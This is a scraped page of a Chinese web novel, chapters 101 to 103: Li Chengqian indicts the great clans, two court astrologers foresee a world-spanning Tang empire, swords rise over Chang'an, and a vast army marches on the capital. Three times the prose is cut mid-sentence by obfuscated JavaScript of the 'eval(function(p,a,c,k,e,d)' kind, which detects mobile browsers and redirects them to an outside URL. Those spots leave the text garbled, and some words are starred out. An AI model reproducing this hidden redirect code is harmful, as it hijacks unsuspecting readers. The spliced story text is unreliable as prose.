他竖起一根手指,声音陡然拔高,如同平地惊雷! “五姓七望,罪有六宗!” “其一,垄断官场,结党营私!” “自前隋至今,朝中七成以上的要职,皆出自你们七家!你们以联姻、师生、同乡为纽带,织成一张弥天大网!寒门士子十年苦读,皓首穷经,却敌不过你们一句‘此我族中子弟’!国之抡才大典,科举取士,在你们眼中,不过是个笑话!长此以往,朝堂之上,究竟是陛下的朝堂,还是你们五姓七望的后花园?!” 此言一出,李泰煦浑身剧烈一颤,整个人被抽走了骨头,瘫软得更厉害了。 他想到了,想到了当初那个神秘莫测的袁天罡。 那个老神棍不止一次地在暗中提醒过陛下,要警惕世家对官场的渗透。 可他们是怎么做的? 他们联合起来,用“妖言惑众”的罪名,硬生生将袁天罡逼出了长安! 他们以为拔掉了一根扎在肉里的刺,却没想到,今天长出了一柄直指咽喉的剑! 要是…… 要是袁天罡还在,以不良人的手段,怎会容许李承乾的势力渗透到如此地步? 他们早就该收到警示了! 悔! 悔不当初! 李泰煦的肠子都悔青了,他恨不得给自己两个响亮的耳光。 “其二,兼并土地,逼民为奴!” 李承乾竖起第二根手指,语气中的杀意几乎凝为实质。 “我大唐行均田制,为的是耕者有其田!可你们呢?你们用尽各种卑劣手段,巧取豪夺,将万顷良田归于私名!你们让治下百姓家破人亡,流离失所,最终只能**于你们,世代为奴为婢!你们的庄园,比一座城池还要大!你们的佃户,比一县之民还要多!你们将大唐的根基,一寸寸地挖空,只为填满你们那永远填不满的私欲!” 李世民的脸色变得愈发苍白。 这些事,他知道。 魏征不止一次地上书,言辞激烈地痛陈土地兼并之害。 可他为了朝局的“稳定”,为了拉拢这些前朝留下来的庞然大物,一次又一次地选择了高高举起,轻轻放下。 他总以为,只要大局在握,这些不过是癣疥之疾。 可今天,他儿子告诉他,这不是癣疥,这是深入骨髓的剧毒! “其三,****,侵吞国库!” “我大唐税法,十五税一!可敢问诸位大人,你们交了多少?你们名下有‘祭田’、‘学田’、‘官田’,种种名目,巧立章法,将九成九的产出都化为私有!国家的税收,全压在那些连饭都吃不饱的黔首百姓身上!国库空虚,边关将士的粮饷都难以维继,而你们的粮仓,却堆满了足以让全天下人吃上三年的粮食!你们是在喝大唐的血!” 李承乾的声音越发激昂,他每说一条罪状,便朝前踏出一步。 那沉重的脚步声,踩在所有人的心脏上。 “其四,私营盐铁,目无王法!” “盐铁之利,国之根本!历朝历代,皆为官营!而你们,胆大包天!从东海之滨到西域边陲,私设盐场,盗开铁矿!你们铸造的兵器,甚至比我大唐的制式军备还要精良!朕想问一句,你们私藏这么多兵甲,是想做什么?是想等哪一天,我大唐有难,你们好取而代之吗?!” “轰!” 这句话,如同一道九天神雷,劈在李世民的头顶。 私营盐铁,他有所耳闻,但私铸兵甲…… 彻骨的寒意,从他的脚底板直冲天灵盖! 他想起了不良帅袁天罡。 那个永远笼罩在黑袍之下,声音沙哑的男人。 他曾对自己说过:“陛下,水能载舟,亦能覆舟。世家之水,非清泉,乃是能倾覆巨轮的**。不良人,便是陛下手中的堤坝。” 可自己是怎么回答的? 自己说:“朕即是天,何须堤坝!” 于是,他亲手拆了那道堤坝。 因为他忌惮不良人那无孔不入的情报能力,他害怕那股只听命于一人的黑暗力量。 他以为自己除掉了一个潜在的威胁,一个可能挑战皇权的阴影。 何其可笑! 他除掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253025|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,是自己最锐利的眼睛,最灵敏的耳朵! 没有了不良人,他就像一个瞎子、聋子,对这些世家门阀的阴谋一无所知,任由他们在自己的眼皮子底下蛀空了整个江山社稷! 现在,他的儿子,用他自己的力量,重新挖出了这些他本该知道的、却被他亲手掩埋的真相! 这一刻,李世民心中涌起的,不是对儿子的愤怒,而是对自己的无尽悔恨与嘲讽。 “其五,囤积居奇,草菅人命!” 李承乾的声音里,已经带上了浓得化不开的悲愤。 “去岁关中大旱,赤地千里,饿殍遍野!朝廷开仓放粮,杯水车薪!而你们呢?你们紧闭粮仓,坐视粮价一日三涨!一斗米,价抵一匹绢!百姓易子而食,卖儿卖女,长安城外,白骨露于野,千里无鸡鸣!你们的粮仓里,陈米旧谷堆积如山,宁肯让其发霉腐烂,也不肯拿出一粒来救济灾民!在你们眼里,人命,还不如你们粮仓里的一只老鼠!” “其六!” 李承乾竖起了第六根手指,他的目光如刀,直刺李泰煦。 “里通外敌,叛国通奸!” 李泰煦猛地抬头,眼中满是血丝和惊恐,嘶声道:“污蔑!殿下,这是血口喷人!我陇西李氏,与国同休,怎会行此大逆不道之事!” “是吗?” 李承乾发出一声冷笑,他从怀中掏出一卷帛书,猛地掷在地上。 “这是从你儿陇西太守李景亮府中搜出的书信!上面清清楚楚地记载了,你们是如何将我大唐的军备图纸、粮草路线,卖给突厥人的!你们又是如何与高句丽暗通款曲,约定一旦大唐北伐,便在后方制造混乱的!” “你敢说,这上面的家族印信,是假的吗?!” 帛书在地上摊开,那鲜红的陇西李氏的麒麟印记,在火光下显得如此刺眼,如此狰狞! 李泰煦看着那印记,如遭雷击,整个人彻底呆住了。 他浑身的力气都被抽干,嘴巴一张一合,却再也发不出任何声音。 完了。 一切都完了。 他万万没有想到,自己儿子做得如此隐秘的事情,竟然会被翻出来! 玄武门,死的寂静。 五姓七望的官员们,一个个面如死灰,眼神空洞。 他们想不通,李承乾究竟是如何知道这一切的? 这些都是他们家族内部最核心的秘密,有些甚至连他们自己都不甚清楚。 难道…… 难道他真的有神仙相助? 第101章 大唐!日不落帝国! 还是说…… 那个被他们逼走的袁天罡,根本没有走远? 他和他手下那群见不得光的“不良人”,其实早已投靠了太子?! 这个念头一旦升起,便如疯长的野草,再也无法遏制。 他们浑身冰冷,一种前所未有的恐惧,攫住了他们的心脏。 他们不怕皇帝,因为皇帝要顾全大局。 但他们怕李承乾这个疯子! 他连蜀山剑仙都敢用,连自家宗族都敢杀,还有什么是他不敢做的?! 长安城的风,在这一夜变得格外喧嚣。 它卷过朱雀大街,吹得那些紧闭的商铺门板砰砰作响,有无数只手在外面疯狂拍打。 它掠过里坊的屋檐,将瓦片间的尘埃与恐惧一并扬起,混入冰冷的夜色之中。 风声鹤唳,草木皆兵,整个京城都一座被无形巨手攥紧了心脏的囚笼,连呼吸都带着颤抖。 与城中万家灯火的惶恐不安截然不同,钦天监的高台之上,却是一片遗世独立的宁静。 夜幕深沉如墨,星辰却亮得惊人,被擦拭过,颗颗璀璨,悬在天穹,冷冷地注视着人间的一切纷扰。 一道瘦削孤高的身影,踏着青石板铺就的台阶,不急不缓地向上走。 他身穿一袭宽大的玄色道袍,袍角在夜风中微微拂动,却没有发出声响。 他的脚步很轻,轻得如同飘落的羽毛,可每一步落下,都与这高台的脉搏、与天地的节律合而为一。 此人正是大唐国师,袁天罡。 他刚刚从那场足以颠覆大唐朝局的风暴中心抽身而出,脸上却无半点波澜,那双深邃的眼眸,比头顶的星空还要难测,倒映着长安城零星的火光,却又什么都没看见。 当他走到高台顶端时,另一人正背对着他,仰头凝望着天际那架巨大的浑天仪。 那人一身素色官服,身形清瘦,发髻用一根简单的木簪绾着,正是钦天监监正,李淳风。 李淳风似乎早已察觉到来者的气息,他没有回头,声音平静地响起,在与这漫天星斗对话:“风起了,不知要吹向何方。” 袁天罡走到他身侧,同样抬眼望向那繁复精密的青铜仪器,浑天仪在星光下泛着幽冷的光泽,一头沉默的巨兽,承载着宇宙的奥秘。 “风起于青萍之末,却将要席卷四海八荒。” 袁天罡的声音低沉而沙哑,带着奇异的质感,“淳风,你回来了。” “这钦天监,是我的根,无论走到哪里,终究要回来。” 李淳风缓缓转过身,他的面容清癯,眼神明亮得像两颗星辰,“倒是你,不该在这个时候出现在这里。” 袁天罡扯了扯嘴角,那笑容里看不出情绪:“我若不来,怕是就要错过一场好戏了。” “好戏?” 李淳风的眉头微微蹙起,“你指的是东宫,还是太极殿?” “都是,也都不是。” 袁天罡的目光从李淳风的脸上移开,重新投向那浩瀚的星海,他沉默了片刻,在聆听某种凡人听不见的声音。 良久,他才幽幽开口,语气中带着一种不容置疑的郑重:“淳风,你我相识数十载,一同观星卜运,推演天机。如今这长安城风声鹤唳,龙蛇起陆,正是天机变幻最剧烈之时。你我,是否就如今这大唐国运,再占卜一番?” 李淳风的瞳孔猛地一缩。 他看着袁天罡,袁天罡也正看着他。 两人的目光在空中交汇,没有言语,却胜过千言万语。 他们都从对方的眼中,看到了一样的东西——一种无法言喻的悸动,一种对未知命运的强烈预感。 这预感,一根针,刺破了他们平日里古井无波的心境。 “好。” 李淳风只说了一个字,声音却斩钉截铁。 二人一拍即合。 这不仅仅是一次简单的占卜,更是两位当世最顶尖的方士,对这个时代最深刻的一次窥探。 钦天监的观星主殿内,所有的门窗都被紧紧关闭,隔绝了外界的一切声息。 殿中央的地面上,镌刻着巨大的八卦阵图,纹路复杂而古老。 李淳风取出了他珍藏多年的龟甲,那龟甲不知历经了多少岁月,甲背上的纹路已经磨损得十分光滑,却透着温润如玉的质感。 他又取来五十根蓍草,整齐地摆放在面前。 袁天罡则点燃了三炷清香,香烟袅袅升起,在密闭的大殿内盘旋,散发出宁静而肃穆的檀香味。 他没有像李淳风那样使用卜具,只是盘膝坐在阵图的另一端,闭上了双眼,双手在膝上结成一个奇异的法印。 整个大殿,瞬间陷入了极致的寂静。 只有龟甲被炭火灼烧时,发出的“噼啪”轻响,以及蓍草在李淳风手中分合时,细微的摩擦声。 时间在这一刻凝固了。 李淳风的额头上渗出了细密的汗珠,他的手指快速地分着蓍草,每一次分合,都在拨动一根无形的命运之弦。 他的口中念念有词,声音低沉,来自远古的吟唱。 而他对面的袁天罡,虽然一动不动,但他的道袍却无风自动,周身笼罩在一层淡淡的光晕之中。 他的精神力,已经脱离了肉身的束缚,与这天地间的气运洪流,融为了一体。 不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253026|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了多久,炭火中的龟甲猛地发出一声清脆的爆裂声! “咔!” 一道深刻的裂纹,从龟甲的中央骤然延伸开来,如同黑夜中的一道闪电。 与此同时,李淳风也完成了最后一次蓍草的演算,他猛地睁开双眼,眼中精光爆射! 而袁天罡,也缓缓睁开了眼睛,他的眼神深处,不再是古井无波,而是卷起了滔天的骇浪! 两人都没有说话,只是将目光投向了殿中央那片空无一物的虚空。 下一刻,那缭绕的檀香青烟,忽然剧烈地翻涌起来,它们不再是杂乱无章地盘旋,而是开始汇聚、凝结,有一支无形的巨笔,正以这青烟为墨,以虚空为画卷,描绘着一幅惊心动魄的未来图景! 烟雾变幻,光影交错。 他们赫然见到,一座前所未有的超级大帝国,以一种无比清晰、无比震撼的姿态,出现在他们的面前! 那不再是如今的大唐版图,虽然也以长安为中心,但它的疆域,却向着四面八方疯狂地延伸出去! 向北,越过了阴山,吞没了整个漠北草原,那片曾经让历代中原王朝头痛不已的苦寒之地,如今插满了大唐的龙旗,无数的城池拔地而起,牧民们赶着牛羊,说着汉话。 向西,穿过了流沙,征服了西域诸国,帕米尔高原不再是天险,而是帝国的阶梯。 他们甚至看到了金发碧眼的异族人,穿着大唐的丝绸,在新建的城邦里,学习着大唐的文字和礼仪。 向南,跨过了烟瘴之地,一直延伸到了一片蔚蓝色的无尽大洋。 巨大的楼船舰队,遮天蔽日,从港口出发,驶向更遥远的未知。 向东,高句丽、百济、新罗,早已化作了大唐的郡县,甚至连那片**之外的倭国,也俯首称臣,年年岁贡,不敢有丝毫懈怠。 这幅景象,已经完全超出了他们的想象! 他们甚至看到,一支浑身覆盖着黑色重甲的铁骑,如同一道黑色的洪流,正在一片广袤的平原上奔腾。 他们的马蹄所踏之处,冰雪消融,万物臣服。 他们的战旗所指,无论是坚固的城堡,还是彪悍的游牧部落,都瞬间土崩瓦解。 那铁骑没有尽头,一路向西,跨过高山,渡过大河,所过之处,所有不同的旗帜尽皆倒下,唯有那面绣着金色巨龙的大唐旗帜,高高升起! 铁骑所至,极为大唐! 这句冰冷而霸道的话,直接烙印在了袁天罡和李淳风的脑海中。 这不是简单的开疆拓土,这是一种吞并,一种融合,一种前所未有的大一统! 是一个真正意义上的,日不落帝国! 第102章 天下,再无人能够阻挡太子的脚步了 大殿之内,死的寂静。 李淳风呆呆地看着眼前这幅由烟雾构成的宏伟画卷,他的呼吸早已停止,身体因为极度的震撼而微微颤抖。 他手中的蓍草散落了一地,兀自不觉。 袁天罡也是一样,他脸上的肌肉僵硬,嘴唇微微张开,却发不出任何声音。 那双洞悉天机的眼眸中,第一次流露出了近乎于迷茫的神色。 良久,烟雾缓缓散去,大殿恢复了原样。 那幅波澜壮阔的未来图景,消失得无影无踪,从未出现过。 “咳……咳咳……” 李淳风剧烈地咳嗽起来,他弯下腰,双手撑着膝盖,大口大口地喘着粗气,刚刚从深水中挣扎出来。 “你……你也看到了?” 他的声音嘶哑干涩,充满了不敢置信。 袁天罡没有回答,他只是缓缓地站起身,走到那面巨大的浑天仪前,伸出手,轻轻抚摸着上面冰冷的青铜。 他的指尖,在微微颤抖。 “天命……呵呵,天命……” 他低声呢喃着,在笑,又在哭,“原来,这才是真正的大唐天命……” “可……可是……” 李淳风终于缓过神来,他站直身体,眼中满是困惑与惊惧,“要成就如此霸业,需要何等雄主?又将掀起何等血雨腥风?这……这究竟是福是祸?” 袁天罡转过身,他看着李淳风,眼神复杂到了极点。 “福兮祸所伏,祸兮福所倚。淳风,你我看到的,是结果。” 他的声音恢复了平静,但那平静之下,却压抑着更深沉的波澜,“而我们现在身处的,正是这个结果的……开端。” 开端? 李淳风心头猛地一震,他想到了太极殿上那个杀伐果断、视五姓七望如猪狗的太子殿下。 一个可怕的念头,不受控制地从他的心底冒了出来。 难道…… 是他? 袁天罡沉默着,深邃的眼眸中,那刚刚窥见的未来帝国正在与眼前这个杀伐果断的太子身影重叠。 他没有回答李淳风那句惊惧的猜想,因为答案已经像烙铁一样,烫在了他们二人的心上。 大殿之内,死寂再次降临。 李淳风的胸口剧烈起伏,冷汗顺着他的鬓角滑落,滴在冰冷的地砖上,碎成一片。 就在这时,一阵奇异的嗡鸣声毫无征兆地响起。 那声音起初很低,很沉,来自地心深处,又来自九天之外。 它不是通过耳朵听到的,而是直接在骨骼里,在血液中震动。 浑天仪上精密的齿轮开始微微颤抖,发出了细碎的“咔咔”声。 梁柱上悬挂的宫灯,灯穗无风自动。 “什么声音?” 李淳风猛地抬头,惊疑不定地四下张望。 袁天罡的瞳孔骤然收缩,他猛地转身,几步冲向大殿敞开的殿门,目光投向了遥远的天际。 嗡鸣声在瞬间拔高! “铮——!” 一声清越至极的剑鸣,撕裂了天地! 这声音不是从某一个方向传来,而是从四面八方,从长安城的每一寸土地,每一片屋瓦,每一个角落里同时爆发! 它响彻云霄,盖过了一切人声、风声、鼎沸之声! 长安城在这一刻,彻底失声了。 李淳风脸色煞白,踉跄着跟到袁天罡身后,顺着他的目光望去。 然后,他看到了毕生难忘,也毕生恐惧的一幕。 一道流光自城西的武库冲天而起,那是一柄锋锐无匹的制式唐刀。 紧接着,城南的铁匠铺里,一柄尚未淬火的剑胚也挣脱了铁钳,化作火龙呼啸升空。 城北,富家翁挂在墙上充当装饰的古剑,发出了欢愉的颤鸣,挣断了剑穗,撞破窗棂,追随而去! 城中,百姓腰间的佩剑,游侠背负的长剑,金吾卫巡街的横刀…… 成千上万,数之不尽的兵刃,无论是高贵还是低贱,是锋利还是锈蚀,在这一刻都被赋予了生命。 它们违背了主人的意志,违背了世间的一切常理,从刀鞘中,从剑匣里,从墙壁上,从兵器架上,疯狂地挣脱出来! 一道道流光,一道道寒芒,如百川归海,从长安城的每一个角落升起,向着皇城的方向汇聚而去。 “剑……是剑!” 李淳风的声音抖得不成样子,他伸出手指着天空,看到了什么最恐怖的妖魔,“天呐……全都是剑!” 长安城的天空,已经变成了一条由剑组成的,奔腾不息的钢铁洪流! 这洪流盘旋着,呼啸着,剑刃摩擦空气,发出令人牙酸的尖啸。 森然的剑气搅动风云,天空的颜色都变得一片惨白,被这无尽的杀意所冻结。 袁天罡站在钦天监的最高处,狂风将他的道袍吹得猎猎作响。 他没有说话,只是死死地盯着那片剑之海洋。 他的脸上再无血色,那双洞悉天机的眼眸里,倒映着万千剑光,充满了前所未有的震撼与…… 恐惧。 他看到了,那不仅仅是剑。 还有农夫砍柴的柴刀,屠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253027|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫案板上的骨刀,妇人厨房里的菜刀,甚至孩童削木头的刻刀…… 凡有刃者,皆在其中! 这不是人力,这是神迹! 不,比神迹更加霸道,更加不讲道理! 这是一种号令! 一种凌驾于万物之上的绝对意志! 那奔腾的剑河在长安城的上空盘旋三周,最终,齐齐停在了紫禁城的正上方。 万剑悬空,剑尖朝下,密密麻麻,组成了一片遮天蔽日的剑之华盖。 阳光透过剑刃的缝隙洒下,在地面上投射出斑驳破碎的光影,每一片光影都带着刺骨的寒意。 整个长安城,都被笼罩在这片死亡的阴影之下。 城中百姓的尖叫声和哭喊声这才响起,却又很快被一种极致的恐惧压得沉寂下去。 所有人都匍匐在地,瑟瑟发抖,不敢抬头仰望那片足以让神佛都为之战栗的景象。 钦天监的高台上,风停了。 那漫天剑雨静静地悬浮着,无声,却散发着比任何声音都更加恐怖的威压。 李淳风双腿一软,瘫坐在地上,他仰着头,呆呆地看着那片剑云,嘴唇干裂,喃喃自语:“疯了……都疯了……” 他忽然想起了刚刚看到的未来图景,那支踏平一切的黑色铁骑。 眼前的景象,与那幅图景,何其相似! 都是一样的不讲道理,一样的霸道绝伦! 一种无法抑制的寒意从他的尾椎骨直冲天灵盖,让他浑身冰冷。 他终于明白了。 原来,刚才的卜算并非虚妄。 他们看到的,不是一个遥远的未来,而是一个正在发生的…… 现实。 他艰难地扭过头,看向依旧如雕塑般站立的袁天罡,声音嘶哑得如同破锣:“师兄……这……这……” 袁天罡缓缓闭上了眼睛,一行清泪顺着他眼角的皱纹滑落。 那不是悲伤,也不是喜悦,而是一种彻底的无力。 在这样的力量面前,什么天机,什么命数,都显得如此可笑,如此苍白。 “淳风,” 袁天罡没有睁眼,声音却异常平静,平静得令人心悸,“不必算了。” “天命……已经不在你我手中了。” 李淳风怔住了,他看着漫天的剑雨,看着那片指向皇宫的死亡森林,巨大的悲凉与绝望涌上心头。 他扶着栏杆,颤抖着站起身,失魂落魄地望着那片剑云,声音轻得一阵风就能吹散。 “天下,再无人能够阻挡太子的脚步了。” 第103章 李世民禅让! 当长安城在万剑悬空的死寂中颤栗时,这则足以颠覆人间常理的消息,如同插上了翅膀的瘟疫,以超越八百里加急的速度,向着四面八方疯狂扩散。 潼关以东,一支玄甲森然的大军正在疾行。 旌旗如林,刀枪如麦,十五万大军的脚步声汇成一道沉闷的雷鸣,在大地上滚滚向前。 为首两员大将,一人身披亮银甲,面容冷静坚毅,正是秦琼之子,秦怀玉。 另一人虎背熊腰,手持一柄硕大的马槊,眉宇间满是程咬金的影子,正是程处默。 “**,这鬼天气,闷得人喘不过气。” 程处默抹了一把额头的汗,扯着嗓子抱怨。 秦怀玉目视前方,并未言语,只是眉头微蹙。 不知为何,他心中总有莫名的躁动,仿佛有什么大事即将发生。 就在此时,一骑斥候卷着漫天烟尘,疯了冲向中军。 那斥候脸上混杂着狂喜、敬畏与无法理解的癫狂,滚鞍下马时甚至绊了一跤,连滚带爬地冲到二人面前。 “报——!大捷!不!是神迹!神迹啊!” 斥候的声音尖锐得变了调,他手舞足蹈,语无伦次。 “说清楚!” 秦怀玉厉声喝道,强行压下心中的不安。 “长安!长安城!” 斥候大口喘着气,眼睛瞪得像铜铃,“太子爷……太子爷他……他召来了万剑!漫天都是剑!把整个皇宫都给罩住了!” 程处默一把揪住他的衣领,吼道:“你**说什么胡话?喝多了马尿?” “将军!千真万确!” 斥候激动得满脸通红,“消息都传疯了!说是太子爷一怒,号令天下之兵刃,什么菜刀、柴刀、破铜烂铁,全都飞到了天上,在长安城顶上悬着!剑尖全都对着太极宫!袁天罡和李淳风当场就吓尿了,说天命已改!” 空气瞬间凝固。 程处默松开了手,呆立当场,那双牛眼瞪得溜圆,嘴巴张得能塞下一个拳头。 秦怀玉的心脏则被一只无形的大手狠狠攥住,他脑海中瞬间闪过太子李承乾那张总是平静淡然的脸。 原来,那平静之下,隐藏的是足以号令万剑的滔天伟力! 这已经超出了权谋,超出了兵法,这简直就是…… 神! 短暂的死寂后,是山呼海啸狂热! “太子殿下千岁千岁千千岁!” 不知是谁先喊了一句,紧接着,整个大军都沸腾了。 士兵们高举着手中的兵器,用尽全身力气嘶吼着,一张张年轻或沧桑的脸上,写满了狂热的崇拜。 他们的太子,不是凡人! 是神! 为神而战,何惧之有! 程处默愣了半晌,猛地一拍大腿,发出一声震天的大笑:“俺的娘咧!太子爷牛啊!这是真龙天子,不,这是天帝下凡!还打个屁的仗啊,直接开进去得了!” 秦怀玉紧握着缰绳的手指因为用力而发白,但他很快冷静下来。 他勒马转身,面对着狂热的士兵,拔出腰间佩剑,剑指长安方向。 “传我将令!” 他的声音盖过了所有的喧嚣,清晰地传到每个人的耳中,“太子神威,天命所归!我等身为太子亲军,更要扬我军威!” “全军,急行军!” “目标,长安!” 储君的令牌与天降的神迹,化作了两道无可抗拒的飓风。 大军所过之处,再无任何抵抗。 当先锋兵临弘农城下,城上的守军甚至没有做出任何戒备的姿态。 片刻之后,城门大开。 弘农太守带着一众官吏,脱去官帽,摘下官印,匍匐在城门之外,抖如筛糠。 “罪臣……罪臣恭迎王师!恭迎太子殿下天兵!” 那太守连头都不敢抬,声音里充满了发自灵魂深处的恐惧。 万剑悬于长安之上,此事已非军情,而是神话。 与神话抗衡,那是凡人该做的事吗? 秦怀玉与程处默对视一眼,都在对方眼中看到了震撼。 他们预想过势如破竹,却没想过会是如此的摧枯拉朽。 “收编降兵,整顿城防,留下一个校尉驻守。” 秦怀玉冷静地下达命令,“大军不做停留,继续前进!” 相似的场景,在接下来的一路,不断上演。 潼关守将献关而降。 华阴县令开城跪迎。 渭南…… 蓝田…… 一座又一座的城池,一个个重要的关隘,几乎是望风而降。 当地的守军、郡兵、乡勇,在听到那则来自长安的神迹之后,再无半点战心。 他们扔下武器,或是跪地请降,或是直接加入了这支势不可挡的洪流。 十五万大军,如同一颗滚下山巅的雪球。 越滚越大,越滚越快。 当这支大军抵达距离长安不足八百里的地方时,曾经的十五万玄甲军,已经被淹没在了一片无边无际的人海之中。 兵马之数,已然破了百万! 夜幕降临,连绵不绝的营盘从山脚一直铺到远方的地平线,数不清的篝火燃起,如同将整片银河拽到了人间。 火光映照着无数张兴奋而狂热的脸,映照着如林的刀枪。 肃杀之气与冲天的战意交织在一起,直冲云霄,仿佛要将天上的星辰都染上一层血色。 秦怀玉站在一处**上,俯瞰着这片由他亲手缔造的战争海洋。 百万雄兵! 兵峰赫赫,直指长安! 他知道,当这百万大军出现在长安城下的那一刻,一切都将尘埃落定。 什么世家门阀,什么朝堂争斗,在这股足以碾碎一切的力量面前,都将化为齑粉。 长安城,玄武门。 城楼之上,风声猎猎,吹得李世民的龙袍翻飞作响,那明黄的布料即将被狂风撕裂的蝴蝶。 他负手而立,身形依旧挺拔如松,但那双曾睥睨天下、洞悉万物的眼眸里,此刻却盛满了难以掩饰的疲惫与阴郁。 他的目光越过高耸的垛口,落在下方那个静立的身影上。 他的儿子,大唐的太子,李承乾。 李承乾同样身着太子冠服,面容平静,眼神古井无波。 他就那样站在那里,任由父亲如鹰隼目光审视,既不卑微,也无挑衅,仿佛一尊完美的玉雕,无懈可击。 “承乾,你可知,朕站在这里,想的是什么?” 李世民的声音低沉沙哑,两块生锈的铁在摩擦。 这道城门,浸透了他兄弟的血,也奠定了他的皇权。 他以为自己能掌控一切,却发现自己养出了一头连他都感到心悸的猛虎。 李承乾微微躬身,姿态无可挑剔:“儿臣不知。儿臣只知,父皇当年于此地拨乱反正,方有今日之大唐盛世。” “好一个拨乱反正!” 李世民忽然冷笑一声,笑声里带着刺骨的寒意,“你最近做得很好,很好啊!蜀山为你所用,世家被你血洗,现在连朕的朝堂,都快成了你的太子府了!” 他的声音陡然拔高,带着帝王的雷霆之怒。 然而,李承乾依旧平静如水,甚至连眉毛都未曾动一下:“父皇息怒。儿臣所为,皆为巩固大唐江山,为父皇分忧。那些蠹虫硕鼠,盘踞日久,儿臣只是代父皇扫清障碍罢了。” “代朕?” 李世民气极反笑,他指着李承乾,手指微微颤抖,“你的羽翼,已经这么硬了吗?你是不是觉得,朕这把老骨头,该给你挪地方了!” 父子二人,在这座象征着皇权更迭的玄武门前,陷入了死的寂静。 空气凝固,压得周围的禁军和内侍连呼吸都变得小心翼翼。 跟在李世民身后的长孙无忌、房玄龄等人,更是眼观鼻,鼻观心,额头上早已渗出细密的冷汗。 他们能感觉到,皇帝与太子之间那根紧绷的弦,随时都可能断裂。 尤其是以陇西李氏为首的几位世家官员,脸色苍白如纸,双腿打颤。 太子清洗益州世家的手段还历历在目,如今这矛头,似乎已经对准了他们。 就在这剑拔**张的时刻,一阵急促到疯狂的马蹄声由远及近,如同一道惊雷,猛地劈开了这压抑的氛围。 “八百里加急——!!” 一声嘶哑的呐喊,穿透了重重宫门,带着血与火的气息,直冲云霄。 所有人都悚然一惊,猛地回头望去。 只见一骑快马,正以不要命的速度冲向皇城。 马上骑士的身影已经与马背融为一体,他身上插着的令旗在狂风中几乎要被折断。 “让开!!” 守卫宫门的禁军大惊失生,慌忙让开一条通道。 那匹神骏的战马在冲到玄武门下时,终于力竭,悲鸣一声,轰然倒地,口鼻中喷出滚滚白沫。 马上的骑士在战马倒下的瞬间,凭借惊人的毅力向前翻滚出去,连滚带爬地冲向城楼,口中还在用尽最后力气狂呼:“急报!八百里加急!!” 一名内侍总管连忙跑下城楼,将那几乎虚脱的信使搀扶上来。 信使浑身浴血,满面尘霜,嘴唇干裂得龟裂的土地。 他被人架到李世民面前,用尽全身力气跪倒在地,从怀中掏出一卷用火漆密封的竹筒,双手高高举过头顶。 “陛……陛下……” 他的声音气若游丝,仿佛随时都会断气,“百万大军……兵……兵临城下!” “什么?!” 李世民瞳孔骤然收缩,一把夺过那卷竹筒,指尖因为用力而捏得发白。 百万大军? 这个数字一柄巨锤,狠狠砸在了李世民的心头。 他猛地撕开火漆,展开那份沾着血迹的绢帛,目光急切地扫过上面的文字。 每一个字,都一把烧红的烙铁,烫得他灵魂都在颤抖。 绢帛上没有太多繁复的言语,只有一行行触目惊心、令人头皮发麻的记录。 “……秦怀玉、程处默率军东出,势如破竹。” “……弘农太守开城跪降。” “……潼关守将献关而降。” “……所过州县,望风而降,兵马滚雪球般壮大……” “……如今,已破百万之数,兵锋直指长安!” “轰!” 李世民只觉得脑中一声巨响,整个人如遭雷击,踉跄着后退了两步,幸得长孙无忌眼疾手快地扶住。 “陛下!” “陛下保重龙体!” 房玄龄、杜如晦等人也惊呼出声,围了上来。 李世民却仿佛没有听见,他的眼睛死死地盯着那份军报,又缓缓地、一寸一寸地抬起头,望向不远处的李承乾。 那张平静无波的脸上,此刻,嘴角似乎微微向上翘起了一个极难察觉的弧度。 那不是笑,那是宣告。 对旧时代落幕的宣告。 李世民的心,瞬间沉入了无底的深渊。 他明白了。 一切都明白了。 什么神迹,什么天命,都是他这个好儿子精心布下的局! 从益州开始,不,从更早的时候,这张大网就已经在悄然编织,而他,堂堂的大唐天子,竟然被蒙在鼓里,直到此刻! 他以为自己掌控着棋局,却不知自己早已是棋盘上的一颗棋子! “百万……大军……” 一个出身太原王氏的官员喃喃自语,双眼失神,浑身抖得如同风中落叶。 “完了……全完了……” 另一位范阳卢氏的官员,双腿一软,竟直接瘫倒在地,官帽歪到了一边,涕泪横流,狼狈不堪。 他们这些自诩为门阀砥柱、朝堂精英的世家官员,前一刻还在盘算着如何打压太子,如**护自家的利益。 可这一刻,所有的阴谋诡计,所有的百年基业,都在“百万大军”这四个字面前,化为了一个天大的笑话。 在绝对的力量面前,一切挣扎都是徒劳。 李世民的胸口剧烈起伏,腥甜涌上喉头。 